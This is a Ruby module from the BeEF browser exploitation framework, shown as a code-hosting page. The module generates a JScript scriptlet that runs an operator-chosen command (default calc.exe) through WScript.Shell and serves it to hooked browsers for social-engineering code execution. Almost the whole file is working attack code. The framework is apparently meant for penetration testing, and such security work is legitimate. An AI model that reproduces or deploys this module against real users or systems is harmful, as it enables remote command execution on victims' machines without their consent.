Path: blob/master/modules/social_engineering/edge_wscript_wsh_injection/module.rb
1873 views
#1# Copyright (c) 2006-2026 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5class Edge_wscript_wsh_injection < BeEF::Core::Command6def pre_send7payload = ''8@datastore.each do |input|9payload = input['value'] if input['name'] == 'payload'10end1112rand_str = rand(32**10).to_s(32)1314script = <<~EOF15<?XML version="1.0"?>#{' '}16<scriptlet>1718<registration19description="#{rand_str}"20progid="#{rand_str}"21version="1.00"22classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"23remotable="true"24>25</registration>2627<script language="JScript">28<![CDATA[29var r = new ActiveXObject("WScript.Shell").Run("#{payload.gsub('"', '\\"')}");30]]>31</script>3233</scriptlet>34EOF3536BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw('200',37{38'Content-Type' => 'text/html'39},40script,41"/#{@command_id}/index.html",42-1)43end4445def self.options46[47{ 'name' => 'payload', 'ui_label' => 'Commands', 'value' => 'calc.exe' }48]49end5051def post_execute52save({ 'result' => @datastore['result'] })53BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind("/#{@command_id}/index.html")54end55end565758